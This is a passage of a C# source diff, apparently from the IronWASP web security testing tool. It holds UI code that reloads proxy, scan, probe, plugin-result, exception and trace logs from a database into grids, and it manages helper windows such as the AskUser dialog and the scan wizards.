Urls.Add(IronUpdater.GetUrlForList(Req)); + } + catch + { + //IronException.Report("Error creating Request from ProxyLogRow", Exp.Message, Exp.StackTrace); + } + + if (Fields.OriginalRequestHeaders.Length > 0) + { + try + { + Request OriginalRequest = new Request(Fields.OriginalRequestHeaders, false, false); + Urls.Add(IronUpdater.GetUrlForList(OriginalRequest)); + } + catch + { + //IronException.Report("Error creating Request from OriginalRequestHeaders of ProxyLogRow", Exp.Message, Exp.StackTrace); + } + } + } + ShowWaitFormGridMessage(1, Counter, "In Progress", 2, true); + //try + //{ + // ProxyLogRecords = IronDB.GetProxyLogRecords(StartID); + //} + //catch + //{ + // ShowWaitFormMessage("Error reading Proxy Log DB.."); + // ShowWaitFormGridMessage(1, Counter, "Failed", 3, false); + // Success = false; + //} + } + + SetProxyGridRows(ProxyRows); + + UpdateProxyLogBasedOnDisplayFilter(); + //Config.ProxyRequestsCount = StartID; + Config.ProxyRequestsCount = IronDB.GetLastProxyLogRowId(); + if (Success) ShowWaitFormGridMessage(1, Counter, "Done", 1, false); + + //test groups + ClearTestGroupLogGrid(); + try + { + IronDB.LoadTestGroups(); + } + catch { } + //UI.TestIDLbl.BackColor = Color.Red; + UI.TestIDLbl.Text = "ID: 0"; + //ManualTesting.CurrentGroup = "Red"; + UI.MTCurrentGroupNameTB.Text = ""; + IronUI.ResetMTDisplayFields(); + UI.TestGroupsLV.Items.Clear(); + foreach (string Group in ManualTesting.GroupSessions.Keys) + { + UI.TestGroupsLV.Items.Add(Group, Group, 0); + } + if (UI.TestGroupsLV.Items.Count > 0) + { + UI.TestGroupsTitleTB.Visible = true; + UI.TestGroupsLV.Visible = true; + } + else + { + UI.TestGroupsTitleTB.Visible = false; + UI.TestGroupsLV.Visible = false; + } + //if (ManualTesting.GroupSessions.Keys.Count > 0) + //{ + //string FirstKey = (new List(ManualTesting.GroupSessions.Keys))[0]; + //IronUI.UpdateTestGroupLogGrid(ManualTesting.RedGroupSessions); + //IronUI.UpdateTestGroupLogGrid(ManualTesting.GroupSessions[FirstKey]); + //ManualTesting.ShowSession(ManualTesting.RedGroupID); + //ManualTesting.ShowSession(ManualTesting.CurrentGroupLogId[FirstKey]); + + //} + Counter = 0; + + //StepWaitFormProgressBar(); + Success = true; + ShowWaitFormGridMessage(2, Counter, "In Progress", 2, true); + ShowWaitFormMessage("Updating Manual Testing Logs.."); + + //Thread.Sleep(500); + + StartID = 0; + List MTRows = new List(); + List MTLogRecords = new List(); + + ClearAllMTGridRows(); + try + { + MTLogRecords = IronDB.GetRecordsFromTestLog(0, IronLog.MaxRowCount); //.GetTestLogRecords(StartID); + } + catch + { + ShowWaitFormMessage("Error reading MT Log DB.."); + ShowWaitFormGridMessage(2, 0, "Failed", 3, false); + Success = false; + } + + if (MTLogRecords.Count > 0) + { + Counter = Counter + MTLogRecords.Count; + foreach (LogRow Fields in MTLogRecords) + { + if (Fields.ID > StartID) StartID = Fields.ID; + MTRows.Add(Fields.ToTestGridRowObjectArray()); + } + ShowWaitFormGridMessage(2, Counter, "In Progress", 2, true); + //try + //{ + // MTLogRecords = IronDB.GetTestLogRecords(StartID); + //} + //catch + //{ + // ShowWaitFormMessage("Error reading MT Log DB.."); + // ShowWaitFormGridMessage(2, Counter, "Failed", 3, false); + // Success = false; + //} + } + SetTestGridRows(MTRows); + //Config.ManualRequestsCount = StartID; + Config.TestRequestsCount = IronDB.GetLastTestLogRowId(); + if (Success) ShowWaitFormGridMessage(2, Counter, "Done", 1, false); + + //StepWaitFormProgressBar(); + + Counter = 0; + Success = true; + ShowWaitFormMessage("Updating Scripting Logs.."); + ShowWaitFormGridMessage(3, Counter, "In Progress", 2, true); + //Thread.Sleep(500); + + StartID = 0; + List ShellRows = new List(); + List ShellLogRecords = new List(); + + ClearAllShellGridRows(); + try + { + ShellLogRecords = IronDB.GetRecordsFromShellLog(0, IronLog.MaxRowCount); //.GetShellLogRecords(StartID); + } + catch + { + ShowWaitFormMessage("Error reading Shell Log DB.."); + ShowWaitFormGridMessage(3, 0, "Failed", 3, false); + Success = false; + } + if (ShellLogRecords.Count > 0) + { + Counter = Counter + ShellLogRecords.Count; + foreach (LogRow Fields in ShellLogRecords) + { + if (Fields.ID > StartID) StartID = Fields.ID; + ShellRows.Add(Fields.ToShellGridRowObjectArray()); + } + ShowWaitFormGridMessage(3, Counter, "In Progress", 2, true); + //try + //{ + // ShellLogRecords = IronDB.GetShellLogRecords(StartID); + //} + //catch + //{ + // ShowWaitFormMessage("Error reading Shell Log DB.."); + // ShowWaitFormGridMessage(3, Counter, "Failed", 3, false); + // Success = false; + //} + } + //Config.ShellRequestsCount = StartID; + Config.ShellRequestsCount = IronDB.GetLastShellLogRowId(); + SetShellGridRows(ShellRows); + if(Success) ShowWaitFormGridMessage(3, Counter, "Done", 1, false); + + //WF.WaitFormProgressBar.PerformStep(); + //StepWaitFormProgressBar(); + Success = true; + Counter = 0; + //WF.Text = "Updating Automated Scanning Queue.."; + ShowWaitFormMessage("Updating Automated Scanning Queue.."); + ShowWaitFormGridMessage(4, Counter, "In Progress", 2, true); + //Thread.Sleep(500); + + StartID = 0; + List ScanQueueRows = new List(); + List ScanQueueRecords = new List(); + + ClearAllScanQueueGridRows(); + try + { + ScanQueueRecords = IronDB.GetScanQueueRecords(StartID); + } + catch + { + ShowWaitFormMessage("Error reading ScanQueue Log DB.."); + ShowWaitFormGridMessage(4, 0, "Failed", 3, false); + Success = false; + } + while (ScanQueueRecords.Count > 0) + { + Counter = Counter + ScanQueueRecords.Count; + foreach (string[] Fields in ScanQueueRecords) + { + int ID = 0; + try + { + ID = Int32.Parse(Fields[0]); + } + catch { continue; } + if (ID > StartID) StartID = ID; + + string Status = Fields[1]; + + if (Fields[1].Equals("Running") || Fields[1].Equals("Started")) Status = "Aborted"; + if (Fields[1].Equals("Queued")) Status = "Stopped"; + + ScanQueueRows.Add(new object[] { ID, Status, Fields[2], Fields[3] }); + } + ShowWaitFormGridMessage(4, Counter, "In Progress", 2, true); + try + { + ScanQueueRecords = IronDB.GetScanQueueRecords(StartID); + } + catch + { + ShowWaitFormMessage("Error reading ScanQueue Log DB.."); + ShowWaitFormGridMessage(4, Counter, "Failed", 3, false); + Success = false; + } + } + AddScanQueueGridRows(ScanQueueRows); + //Config.ScanCount = StartID; + Config.ScanCount = IronDB.GetLastScanJobRowId(); + //int ScanCount = 1; + //while (ScanCount <= StartID) + //{ + // try + // { + // //Scanner Scan = IronDB.GetScannerFromDB(ScanCount); + // //ScanBranch.CanScan(Scan.OriginalRequest); + // } + // catch { } + // finally { ScanCount++; } + //} + + if(Success) ShowWaitFormGridMessage(4, Counter, "Done", 1, false); + + //WF.WaitFormProgressBar.PerformStep(); + //StepWaitFormProgressBar(); + + StartID = 0; + Counter = 0; + //WF.Text = "Updating Sitemap..."; + ShowWaitFormGridMessage(5, Counter, "In Progress", 2, true); + Success = true; + ShowWaitFormMessage("Updating ScanTrace Messages..."); + ClearAllTraceGridRows(); + List AllScanTraces = new List(); + List ScanTraces = new List(); + try + { + ScanTraces = IronDB.GetScanTraces(StartID, IronLog.MaxRowCount); + } + catch + { + ShowWaitFormMessage("Error ScanTrace Log DB.."); + ShowWaitFormGridMessage(5, 0, "Failed", 3, false); + Success = false; + } + if (ScanTraces.Count > 0) + { + Counter = Counter + ScanTraces.Count; + foreach (IronTrace Trace in ScanTraces) + { + if (Trace.ID > StartID) StartID = Trace.ID; + } + //UpdatePluginResultTree(PluginResultLogRecords); + AllScanTraces.AddRange(ScanTraces); + ShowWaitFormGridMessage(5, Counter, "In Progress", 2, true); + //try + //{ + // ScanTraces = IronDB.GetScanTraceRecords(StartID); + //} + //catch + //{ + // ShowWaitFormMessage("Error Trace Log DB.."); + // ShowWaitFormGridMessage(5, Counter, "Failed", 3, false); + // Success = false; + //} + } + SetScanTraceGrid(AllScanTraces); + //Config.ScanTraceCount = StartID; + Config.ScanTraceCount = IronDB.GetLastScanTraceLogRowId(); + Config.SessionPluginTraceCount = IronDB.GetLastSessionPluginTraceLogRowId(); + if(Success) ShowWaitFormGridMessage(5, Counter, "Done", 1, false); + + //WF.Text = "Updating Automated Scanning Logs.."; + Counter = 0; + ShowWaitFormGridMessage(6, Counter, "In Progress", 2, true); + Success = true; + ShowWaitFormMessage("Updating Automated Scanning Logs.."); + //Thread.Sleep(500); + + StartID = 0; + List ScanRows = new List(); + List ScanLogRecords = new List(); + + ClearAllScanGridRows(); + try + { + ScanLogRecords = IronDB.GetRecordsFromScanLog(0, IronLog.MaxRowCount); //.GetScanLogRecords(StartID); + } + catch + { + ShowWaitFormMessage("Error reading Scan Log DB.."); + ShowWaitFormGridMessage(6, 0, "Failed", 3, false); + Success = false; + } + if (ScanLogRecords.Count > 0) + { + Counter = Counter + ScanLogRecords.Count; + foreach (LogRow Fields in ScanLogRecords) + { + if (Fields.ID > StartID) StartID = Fields.ID; + ScanRows.Add(Fields.ToScanGridRowObjectArray()); + } + ShowWaitFormGridMessage(6, Counter, "In Progress", 2, true); + //try + //{ + // ScanLogRecords = IronDB.GetScanLogRecords(StartID); + //} + //catch + //{ + // ShowWaitFormMessage("Error reading Scan Log DB.."); + // ShowWaitFormGridMessage(6, Counter, "Failed", 3, false); + // Success = false; + //} + } + SetScanGridRows(ScanRows); + //Config.PluginRequestsCount = StartID; + Config.ScanRequestsCount = IronDB.GetLastScanLogRowId(); + if(Success) ShowWaitFormGridMessage(6, Counter, "Done", 1, false); + + + //Probe Log + Counter = 0; + ShowWaitFormGridMessage(7, Counter, "In Progress", 2, true); + Success = true; + ShowWaitFormMessage("Updating Probe Logs.."); + //Thread.Sleep(500); + + StartID = 0; + List ProbeRows = new List(); + List ProbeLogRecords = new List(); + + ClearAllProbeGridRows(); + try + { + ProbeLogRecords = IronDB.GetRecordsFromProbeLog(0, IronLog.MaxRowCount); //.GetProbeLogRecords(StartID); + } + catch + { + ShowWaitFormMessage("Error reading Probe Log DB.."); + ShowWaitFormGridMessage(7, 0, "Failed", 3, false); + Success = false; + } + + if (ProbeLogRecords.Count > 0) + { + Counter = Counter + ProbeLogRecords.Count; + foreach (LogRow Fields in ProbeLogRecords) + { + if (Fields.ID > StartID) StartID = Fields.ID; + ProbeRows.Add(Fields.ToProbeGridRowObjectArray()); + if (Fields.Code == 200) + { + try + { + Request Req = new Request("http://" + Fields.Host + Fields.Url); + Urls.Add(IronUpdater.GetUrlForList(Req)); + } + catch + { + //IronException.Report("Error creating Request from ProxyLogRow", Exp.Message, Exp.StackTrace); + } + } + } + ShowWaitFormGridMessage(7, Counter, "In Progress", 2, true); + //try + //{ + // ProbeLogRecords = IronDB.GetProbeLogRecords(StartID); + //} + //catch + //{ + // ShowWaitFormMessage("Error reading Probe Log DB.."); + // ShowWaitFormGridMessage(7, Counter, "Failed", 3, false); + // Success = false; + //} + } + SetProbeGridRows(ProbeRows); + //Config.ProbeRequestsCount = StartID; + Config.ProbeRequestsCount = IronDB.GetLastProbeLogRowId(); + if (Success) ShowWaitFormGridMessage(7, Counter, "Done", 1, false); + + + //WF.WaitFormProgressBar.PerformStep(); + //StepWaitFormProgressBar(); + //WF.Text = "Updating Plugin Results Information..."; + Counter = 0; + ShowWaitFormGridMessage(8, Counter, "In Progress", 2, true); + Success = true; + ShowWaitFormMessage("Updating Plugin Results Information..."); + //Thread.Sleep(500); + + //UI.IronTree.Nodes.Clear(); + ResetIronTree(); + //BuildIronTree(); + + StartID = 0; + List AllPluginResultLogRecords = new List(); + List PluginResultLogRecords = new List(); + + try + { + PluginResultLogRecords = IronDB.GetPluginResultsLogRecords(StartID); + } + catch + { + ShowWaitFormMessage("Error reading PluginResult Log DB.."); + ShowWaitFormGridMessage(8, 0, "Failed", 3, false); + Success = false; + } + while (PluginResultLogRecords.Count > 0) + { + Counter = Counter + PluginResultLogRecords.Count; + foreach (Finding PR in PluginResultLogRecords) + { + if (PR.Id > StartID) StartID = PR.Id; + Finding.IsSignatureUnique(PR.Plugin, PR.AffectedHost, PR.Type, PR.Signature, true); + } + + AllPluginResultLogRecords.AddRange(PluginResultLogRecords); + ShowWaitFormGridMessage(8, Counter, "In Progress", 2, true); + try + { + PluginResultLogRecords = IronDB.GetPluginResultsLogRecords(StartID); + } + catch + { + ShowWaitFormMessage("Error reading PluginResult Log DB.."); + ShowWaitFormGridMessage(8, Counter, "Failed", 3, false); + Success = false; + } + } + + UpdatePluginResultTree(AllPluginResultLogRecords); + //Config.PluginResultCount = StartID; + Config.PluginResultCount = IronDB.GetLastPluginResultLogRowId(); + if (Success) ShowWaitFormGridMessage(8, Counter, "Done", 1, false); + + + //WF.WaitFormProgressBar.PerformStep(); + //StepWaitFormProgressBar(); + Counter = 0; + ShowWaitFormGridMessage(9, Counter, "In Progress", 2, true); + Success = true; + //WF.Text = "Exceptions Information..."; + ShowWaitFormMessage("Updating Exceptions Information..."); + //Thread.Sleep(500); + + //////////////////////////////////////////// + + StartID = 0; + List AllExceptionLogRecords = new List(); + List ExceptionLogRecords = new List(); + try + { + ExceptionLogRecords = IronDB.GetExceptionLogRecords(StartID); + } + catch + { + ShowWaitFormMessage("Error reading Exception Log DB.."); + ShowWaitFormGridMessage(9, 0, "Failed", 3, false); + Success = false; + } + while (ExceptionLogRecords.Count > 0) + { + Counter = Counter + ExceptionLogRecords.Count; + foreach (IronException IrEx in ExceptionLogRecords) + { + if (IrEx.ID > StartID) StartID = IrEx.ID; + } + AllExceptionLogRecords.AddRange(ExceptionLogRecords); + ShowWaitFormGridMessage(9, Counter, "In Progress", 2, true); + try + { + ExceptionLogRecords = IronDB.GetExceptionLogRecords(StartID); + } + catch + { + ShowWaitFormMessage("Error reading Exception Log DB.."); + ShowWaitFormGridMessage(9, Counter, "Failed", 3, false); + Success = false; + } + } + //Config.ExceptionsCount = StartID; + Config.ExceptionsCount = IronDB.GetLastExceptionLogRowId(); + UpdateExceptions(AllExceptionLogRecords); + if(Success) ShowWaitFormGridMessage(9, Counter, "Done", 1, false); + Success = false; + //WF.WaitFormProgressBar.PerformStep(); + //StepWaitFormProgressBar(); + //WF.Text = "Updating Sitemap..."; + Counter = 0; + ShowWaitFormGridMessage(10, Counter, "In Progress", 2, true); + Success = true; + ShowWaitFormMessage("Updating Sitemap..."); + UpdateSitemapTree(Urls); + if(Success) ShowWaitFormGridMessage(10, Urls.Count, "Done", 1, false); + + + //StepWaitFormProgressBar(); + StartID = 0; + Counter = 0; + //WF.Text = "Updating Sitemap..."; + ShowWaitFormGridMessage(11, Counter, "In Progress", 2, true); + Success = true; + ShowWaitFormMessage("Updating Trace Messages..."); + ClearAllTraceGridRows(); + List AllTraces = new List(); + List Traces = new List(); + try + { + Traces = IronDB.GetTraceRecords(StartID, 1000); + } + catch + { + ShowWaitFormMessage("Error Trace Log DB.."); + ShowWaitFormGridMessage(11, 0, "Failed", 3, false); + Success = false; + } + while (Traces.Count > 0) + { + Counter = Counter + Traces.Count; + foreach (IronTrace Trace in Traces) + { + if (Trace.ID > StartID) StartID = Trace.ID; + } + AllTraces.AddRange(Traces); + ShowWaitFormGridMessage(11, Counter, "In Progress", 2, true); + try + { + Traces = IronDB.GetTraceRecords(StartID, 1000); + } + catch + { + ShowWaitFormMessage("Error Trace Log DB.."); + ShowWaitFormGridMessage(11, Counter, "Failed", 3, false); + Success = false; + } + } + UpdateTraceGrid(AllTraces); + //Config.TraceCount = StartID; + Config.TraceCount = IronDB.GetLastTraceLogRowId(); + if(Success) ShowWaitFormGridMessage(11, Counter, "Done", 1, false); + + StartID = 0; + + ShowWaitFormMessage("Loading Recordings from Log..."); + try + { + Config.WorkflowCount = IronDB.GetLastWorkflowId(); + } + catch { } + + ShowWaitFormGridMessage(12, Counter, "In Progress", 2, false); + Recording.Recording.ClearAll(); + Counter = 0; + try + { + List RecIds = IronDB.GetLoginRecordingWorkflowIds(); + foreach (int Id in RecIds) + { + try + { + Recording.Recording Rec = Recording.Recording.FromWorkflow(IronDB.GetWorkflow(Id)); + Recording.Recording.Add(Rec); + Counter++; + } + catch { } + } + ShowWaitFormGridMessage(12, Counter, "Done", 1, false); + } + catch + { + ShowWaitFormMessage("Error loading Recordings"); + ShowWaitFormGridMessage(12, Counter, "Failed", 3, false); + } + + + IronProxy.Start(); + + //Thread.Sleep(500); + + //WF.WaitFormProgressBar.PerformStep(); + StepWaitFormProgressBar(); + //WF.Text = "Complete"; + ShowWaitFormMessage("Complete"); + //Thread.Sleep(500); + + StopUpdatingFullUIFromDB(); + //Thread.Sleep(5000); + } + + internal static void DisplayPluginResultsTrigger(int TriggerID) + { + ResetPluginResultsFields(); + Trigger SelectedTrigger; + if (TriggerID == -1) + { + if (Finding.CurrentPluginResult.BaseRequest != null && Finding.CurrentPluginResult.BaseResponse != null) + { + SelectedTrigger = new Trigger("", Finding.CurrentPluginResult.BaseRequest, "", Finding.CurrentPluginResult.BaseResponse); + } + else + { + return; + } + } + else + { + SelectedTrigger = Finding.CurrentPluginResult.Triggers.GetTrigger(TriggerID); + } + if (SelectedTrigger.Request != null) + { + DisplayPluginResultsRequest(SelectedTrigger.Request); + if (SelectedTrigger.Response != null) + { + DisplayPluginResultsResponse(SelectedTrigger.Response, SelectedTrigger.Request); + } + } + + if (SelectedTrigger.Request != null || SelectedTrigger.Response != null) + { + UI.ResultsTriggerOptionsPanel.Visible = true; + } + if (UI.SelectForDiffTriggersGrid.Rows.Count > 1) + { + UI.ResultsTriggersComparePanel.Visible = true; + } + if (Finding.CurrentPluginResult.FromActiveScan) + { + UI.ResultsScanTracePanel.Visible = true; + } + + StringBuilder SB = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;}"); + SB.AppendLine(@" \fs20 "); + SB.AppendLine(Tools.RtfSafe(Finding.GetTriggerHighlighting(SelectedTrigger, Finding.CurrentPluginResult.FinderType, TriggerID == -1))); + SB.Append(@" \par \par"); + UI.TriggerHighlightRTB.Rtf = SB.ToString(); + } + + internal static void DisplayPluginResultsRequest(Request Req) + { + if (Req != null) + { + UI.ResultsRequestView.SetRequest(Req); + } + } + internal static void DisplayPluginResultsResponse(Response Res, Request Req) + { + if (Res != null) + { + UI.ResultsResponseView.SetResponse(Res, Req); + } + } + internal static void ResetPluginResultsFields() + { + UI.TriggerHighlightRTB.Text = ""; + UI.ResultsRequestView.ClearRequest(); + UI.ResultsResponseView.ClearResponse(); + UI.ResultsTriggerOptionsPanel.Visible = false; + UI.ResultsScanTracePanel.Visible = false; + UI.ResultsTriggersComparePanel.Visible = false; + } + + delegate void UpdateException_d(IronException IrEx); + internal static void UpdateException(IronException IrEx) + { + if (UI.IronTree.InvokeRequired) + { + UpdateException_d UE_d = new UpdateException_d(UpdateException); + UI.Invoke(UE_d, new object[] { IrEx }); + } + else + { + TreeNode ExceptionsNode = UI.IronTree.Nodes[0].Nodes["Exceptions"]; + ExceptionsNode.Nodes.Add(IrEx.ID.ToString(), IrEx.Title); + ExceptionsNode.Text = string.Format("Exceptions ({0})", ExceptionsNode.Nodes.Count.ToString()); + } + } + + delegate void UpdateExceptions_d(List IrExs); + internal static void UpdateExceptions(List IrExs) + { + if (UI.IronTree.InvokeRequired) + { + UpdateExceptions_d UE_d = new UpdateExceptions_d(UpdateExceptions); + UI.Invoke(UE_d, new object[] { IrExs }); + } + else + { + UI.IronTree.BeginUpdate(); + TreeNode ExceptionsNode = UI.IronTree.Nodes[0].Nodes["Exceptions"]; + foreach (IronException IrEx in IrExs) + { + ExceptionsNode.Nodes.Add(IrEx.ID.ToString(), IrEx.Title); + } + ExceptionsNode.Text = string.Format("Exceptions ({0})", ExceptionsNode.Nodes.Count.ToString()); + UI.IronTree.EndUpdate(); + } + } + + internal static void UpdateShellInPrompt(string Prompt) + { + UI.InteractiveShellPromptBox.ReadOnly = false; + UI.InteractiveShellPromptBox.Text = Prompt; + UI.InteractiveShellPromptBox.ReadOnly = true; + } + + internal static void StartMTSend(int ID) + { + UI.TestIDLbl.Text = "ID: " + ID.ToString(); + UI.TestResponseView.ShowStatusMsg("Waiting for Response"); + UI.TestResponseView.ShowProgressBar(true); + //UI.MTReqResTabs.SelectTab("MTResponseTab"); + UI.MTResponseSideTabs.SelectTab("MTResponseTab"); + } + + internal static void EndMTSend(bool ShowResponseTab) + { + UI.MTScriptedSendBtn.Enabled = ManualTesting.ScriptedSendEnabled; + UI.MTSendBtn.Enabled = true; + if(ShowResponseTab) + UI.MTResponseSideTabs.SelectTab("MTResponseTab"); + //UI.MTReqResTabs.SelectTab("MTResponseTab"); + //else + // UI.MTReqResTabs.SelectTab("MTRequestTab"); + } + + delegate void AskUser_d(); + internal static void AskUser() + { + if(UI.InvokeRequired) + { + AskUser_d AU_d = new AskUser_d(AskUser); + UI.Invoke(AU_d, new object[] { }); + } + else + { + if (IsAskUserWindowOpen() && !IronWASP.AskUser.AskUserWindowFree) + { + IronUI.AUW.Text = "1/" + (IronWASP.AskUser.QueueLength + 1 ).ToString() + " " + IronWASP.AskUser.CurrentlyAsked.Title; + return; + } + AskUser AU = IronWASP.AskUser.GetNext(); + IronWASP.AskUser.CurrentlyAsked = AU; + if (AU == null) + { + return; + } + else + { + if (!IsAskUserWindowOpen()) + { + IronUI.AUW = new AskUserWindow(); + } + IronUI.AUW.Text = "IronWASP AskUser API Call - 1/" + (IronWASP.AskUser.QueueLength + 1).ToString();// +" " + AU.Title; + StringBuilder Message = new StringBuilder(@"{\rtf1{\colortbl ;\red0\green77\blue187;\red247\green150\blue70;\red255\green0\blue0;\red0\green200\blue50;} \qc \fs22 \cf1 \b "); + Message.Append(Tools.RtfSafe(AU.Title)); + Message.Append(@" \b0 \cf0 \par \pard \ql \fs18 \par "); + Message.Append(Tools.RtfSafe(AU.Message)); + IronUI.AUW.AskUserMessageRTB.Rtf = Message.ToString(); + IronUI.AUW.Show(); + IronWASP.AskUser.AskUserWindowFree = false; + if (AU.ReturnType.Equals("Bool")) + { + IronUI.AUW.Height = 350; + IronUI.AUW.AskUserYesBtn.Visible = true; + IronUI.AUW.AskUserNoBtn.Visible = true; + IronUI.AUW.AskUserAnswerTB.Visible = false; + IronUI.AUW.AskUserAnswerGrid.Visible = false; + IronUI.AUW.AskUserAnswerRBOne.Visible = false; + IronUI.AUW.AskUserAnswerRBTwo.Visible = false; + IronUI.AUW.AskUserAnswerLbl.Visible = false; + IronUI.AUW.AskUserSubmitBtn.Visible = false; + IronUI.AUW.AskUserPB.Visible = false; + IronUI.AUW.AskUserYesBtn.Focus(); + } + else if (AU.ReturnType.Equals("List")) + { + IronUI.AUW.Height = 600; + foreach (string ListItem in AU.List) + { + IronUI.AUW.AskUserAnswerGrid.Rows.Add(new object[] { false, ListItem }); + } + if (AU.RBOne.Length + AU.RBTwo.Length + AU.Label.Length > 0) + { + IronUI.AUW.AskUserAnswerRBOne.Text = AU.RBOne; + IronUI.AUW.AskUserAnswerRBTwo.Text = AU.RBTwo; + IronUI.AUW.AskUserAnswerRBTwo.Checked = true; + IronUI.AUW.AskUserAnswerLbl.Text = AU.Label; + + IronUI.AUW.AskUserAnswerRBOne.Visible = true; + IronUI.AUW.AskUserAnswerRBTwo.Visible = true; + IronUI.AUW.AskUserAnswerLbl.Visible = true; + + IronUI.AUW.AskUserAnswerGrid.Location = new Point(0,57); + } + else + { + IronUI.AUW.AskUserAnswerRBOne.Visible = false; + IronUI.AUW.AskUserAnswerRBTwo.Visible = false; + IronUI.AUW.AskUserAnswerLbl.Visible = false; + IronUI.AUW.AskUserAnswerGrid.Location = new Point(0, 0); + } + + IronUI.AUW.AskUserAnswerGrid.Visible = true; + IronUI.AUW.AskUserSubmitBtn.Visible = true; + IronUI.AUW.AskUserAnswerTB.Visible = false; + IronUI.AUW.AskUserYesBtn.Visible = false; + IronUI.AUW.AskUserNoBtn.Visible = false; + IronUI.AUW.AskUserPB.Visible = false; + IronUI.AUW.AskUserAnswerGrid.Focus(); + } + else + { + IronUI.AUW.Height = 350; + IronUI.AUW.AskUserAnswerTB.Visible = true; + IronUI.AUW.AskUserAnswerGrid.Visible = false; + IronUI.AUW.AskUserAnswerRBOne.Visible = false; + IronUI.AUW.AskUserAnswerRBTwo.Visible = false; + IronUI.AUW.AskUserAnswerLbl.Visible = false; + IronUI.AUW.AskUserSubmitBtn.Visible = true; + IronUI.AUW.AskUserYesBtn.Visible = false; + IronUI.AUW.AskUserNoBtn.Visible = false; + if (AU.ImageFileLocation.Length > 0) + { + IronUI.AUW.AskUserPB.ImageLocation = AU.ImageFileLocation; + IronUI.AUW.AskUserPB.Visible = true; + } + else + { + IronUI.AUW.AskUserPB.Visible = false; + } + IronUI.AUW.AskUserAnswerTB.Focus(); + } + } + } + } + + static bool IsAskUserWindowOpen() + { + if (IronUI.AUW == null) + { + return false; + } + else if (IronUI.AUW.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + delegate void AskUserAnswered_d(); + internal static void AskUserAnswered() + { + if (UI.InvokeRequired) + { + AskUserAnswered_d AUA_d = new AskUserAnswered_d(AskUserAnswered); + UI.Invoke(AUA_d, new object[] { }); + } + else + { + IronWASP.AskUser.AskUserWindowFree = true; + if (IronWASP.AskUser.QueueLength == 0) + { + if (IronUI.AUW != null) + { + if (!IronUI.AUW.IsDisposed) + { + //IronUI.AUW.Close(); + IronUI.AUW.Dispose(); + } + } + } + else + { + IronUI.AskUser(); + } + } + } + + internal static bool IsScanBranchFormOpen() + { + if (IronUI.SBF == null) + { + return false; + } + else if (IronUI.SBF.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + //internal static void ShowScanBranchForm(string HostName, string UrlPattern) + internal static void ShowScanBranchForm(Request UrlReq) + { + if (IsScanBranchFormOpen()) + { + IronUI.SBF.Activate(); + } + else + { + IronUI.SBF = new ScanBranchWizard(); + IronUI.SBF.BaseRequest = UrlReq; + IronUI.SBF.ScanBranchHostNameTB.Text = UrlReq.BaseUrl; + IronUI.SBF.ScanBranchUrlPatternTB.Text = UrlReq.Url; + + IronUI.SBF.ScanBranchStatsPanel.Visible = false; + + IronUI.SBF.Show(); + } + } + + delegate void UpdateScanBranchStats_d(int ScanDone, bool AllScansStarted, string Message, bool Progress, bool CloseWindow); + internal static void UpdateScanBranchStats(int ScanDone, bool AllScansStarted, string Message, bool Progress, bool CloseWindow) + { + if (IronUI.SBF.InvokeRequired) + { + UpdateScanBranchStats_d USBS_d = new UpdateScanBranchStats_d(UpdateScanBranchStats); + UI.Invoke(USBS_d, new object[] { ScanDone, AllScansStarted, Message, Progress, CloseWindow}); + } + else + { + //if (Progress) IronUI.SBF.ScanBranchProgressBar.PerformStep(); + IronUI.SBF.ScanBranchProgressLbl.Text = Message; + if (AllScansStarted) + { + IronUI.SBF.FinalBtn.Text = "Close"; + IronUI.SBF.ScanBranchProgressBar.Visible = false; + } + if (CloseWindow) IronUI.SBF.CloseWindow(); + } + } + + + + internal static bool IsStartScanWizardOpen() + { + if (IronUI.SSW == null) + { + return false; + } + else if (IronUI.SSW.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + internal static void ShowStartScanWizard(Request Req) + { + if (IsStartScanWizardOpen()) + { + IronUI.SSW.Activate(); + } + else + { + UI.ConsoleScanUrlTB.ReadOnly = true; + IronUI.SSW = new StartScanWizard(); + IronUI.SSW.BaseRequest = Req; + IronUI.SSW.Show(); + } + } + + //delegate void ShowConfiguredScanMessage_d(string Message, bool Error); + //internal static void ShowConfiguredScanMessage(string Message, bool Error) + //{ + // if (SSW.InvokeRequired) + // { + // ShowConfiguredScanMessage_d SCSM_d = new ShowConfiguredScanMessage_d(ShowConfiguredScanMessage); + // LF.Invoke(SCSM_d, new object[] { Message, Error }); + // } + // else + // { + // if (Message.Equals("0")) + // { + // SSW.Close(); + // } + // else + // { + // SSW.ConfigureScanErrorTB.Text = Message; + // if (Error) + // SSW.ConfigureScanErrorTB.ForeColor = Color.Red; + // else + // SSW.ConfigureScanErrorTB.ForeColor = Color.Black; + // } + // } + //} + + + internal static bool IsReportGenerationWizardOpen() + { + if (IronUI.RGW == null) + { + return false; + } + else if (IronUI.RGW.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + internal static bool IsPluginEditorOpen() + { + if (IronUI.PE == null) + { + return false; + } + else if (IronUI.PE.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + internal static bool IsUIDesignerOpen() + { + if (IronUI.UD == null) + { + return false; + } + else if (IronUI.UD.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + delegate void ShowPluginCompilerError_d(string Message); + internal static void ShowPluginCompilerError(string Message) + { + if (PE.InvokeRequired) + { + ShowPluginCompilerError_d SPCE_d = new ShowPluginCompilerError_d(ShowPluginCompilerError); + PE.Invoke(SPCE_d, new object[] { Message }); + } + else + { + if (Message.Equals("0")) + { + IronUI.PE.PluginEditorErrorTB.Text = ""; + IronUI.PE.PluginEditorErrorTB.BackColor = Color.White; + } + else + { + IronUI.PE.PluginEditorErrorTB.Text = Message + Environment.NewLine.ToString(); + IronUI.PE.PluginEditorErrorTB.BackColor = Color.Red; + } + } + } + + internal static void OpenDiffWindow() + { + if (!IsDiffWindowOpen()) + { + IronUI.DW = new DiffWindow(); + IronUI.DW.Show(); + } + IronUI.DW.Activate(); + } + + internal static bool IsDiffWindowOpen() + { + if (IronUI.DW == null) + { + return false; + } + else if (IronUI.DW.IsDisposed) + { + return false; + } + else + { + return true; + } + } + + internal static void OpenEncodeDecodeWindow() + { + if (!IsEncodeDecodeWindowOpen()) + { + IronUI.EDW = new EncodeDecodeWindow(); + IronUI.EDW.Show(); + } + IronUI.EDW.Activate(); + } + + internal static bool IsEncodeDecodeWindowOpen() + { + if (IronUI.EDW == null) + { + return false; + } + else if (IronUI.EDW.IsDisposed) + { + return false; + } + else 